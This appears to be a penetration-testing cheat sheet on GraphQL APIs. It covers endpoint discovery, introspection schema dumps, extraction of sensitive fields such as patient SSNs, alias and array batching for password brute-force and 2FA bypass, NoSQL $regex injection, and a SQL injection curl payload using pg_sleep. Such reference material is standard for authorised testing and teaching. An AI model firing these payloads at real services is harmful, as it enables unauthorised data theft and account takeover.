Skip to main content

GraphQL

info

GRAPHQL to JSON Body Converter is useful when using caido.

GraphQL is an open-source query language for APIs, and a server-side runtime for executing those queries with existing data. Developed by Facebook in 2012 and open-sourced in 2015, it provides a flexible and efficient alternative to traditional REST APIs by allowing clients to request exactly the data they need in a single network request.

Core Concepts

GraphQL operates around a strong type system defined by a schema, rather than fixed endpoints.

  • Schema: The core of any GraphQL service is the schema, defined using the Schema Definition Language (SDL). It describes the available data types, fields, and relationships, acting as a contract between the client and the server.
  • Queries: These are used by the client to fetch data (read-only operations), similar to GET requests in REST. A key feature is the ability to specify the exact shape and hierarchy of the required data, preventing over-fetching (receiving more data than needed) or under-fetching (requiring multiple requests to get all needed data).
  • Mutations: These are used to create, update, or delete data on the server, analogous to POST, PUT, PATCH, and DELETE requests.
  • Subscriptions: These allow clients to receive real-time updates from the server when specific data changes, commonly implemented using WebSockets.
  • Resolvers: On the server side, resolver functions are responsible for populating the data for each field in the schema, fetching it from various sources like databases, microservices, or other REST APIs.

Enumeration

Common GraphQL Endpoints

Most of the time GraphQL is located at the /graphql or /graphiql endpoint. A more complete list is available at danielmiessler/SecLists/graphql.txt.

/v1/explorer
/v1/graphiql
/graph
/graphql
/graphql/console/
/graphql.php
/graphiql
/graphiql.php

Identify An Injection Point

example.com/graphql?query={__schema{types{name}}}
example.com/graphiql?query={__schema{types{name}}}

Check if errors are visible.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerate Database Schema via Introspection

URL encoded query to dump the database schema.

fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}

URL decoded query to dump the database schema.

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}

Single line queries to dump the database schema without fragments.

__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

Enumerate Database Schema via Suggestions

When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.

{
"message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",
}

You can also try to bruteforce known keywords, field and type names using wordlists such as Escape-Technologies/graphql-wordlist when the schema of a GraphQL API is not accessible.

Enumerate Types Definition

Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type

{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}

List Path To Reach A Type

$ git clone https://gitlab.com/dee-see/graphql-path-enum
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (skills) -> Skill

Methodology

Extract Data

example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}

Extract Data Using Edges/Nodes

{
"query": "query {
teams{
total_count,edges{
node{
id,_id,about,handle,state
}
}
}
}"
}

Extract Data Using Projections

danger

Don’t forget to escape the " inside the options.

{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}

Mutations

Mutations work like function, you can use them to interact with the GraphQL.

# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}

GraphQL Batching Attacks

Common scenario:

  • Password Brute-force Amplification Scenario
  • Rate Limit bypass
  • 2FA bypassing

JSON List Based Batching

Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.

Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch.

[
{
"query":"..."
},{
"query":"..."
}
,{
"query":"..."
}
,{
"query":"..."
}
...
]

Query Name Based Batching

{
"query": "query { qname: Query { field1 } qname1: Query { field1 } }"
}

Send the same mutation several times using aliases

mutation {
login(pass: 1111, username: "bob")
second: login(pass: 2222, username: "bob")
third: login(pass: 3333, username: "bob")
fourth: login(pass: 4444, username: "bob")
}

Injections

SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.

NOSQL Injection

Use $regex inside a search parameter.

{
doctors(
options: "{\"limit\": 1, \"patients.ssn\" :1}",
search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
{
firstName lastName id patients{ssn}
}
}

SQL Injection

Send a single quote ' inside a GraphQL parameter to trigger the SQL injection

{ 
bacon(id: "1'") {
id,
type,
price
}
}

Simple SQL injection inside a GraphQL field.

curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27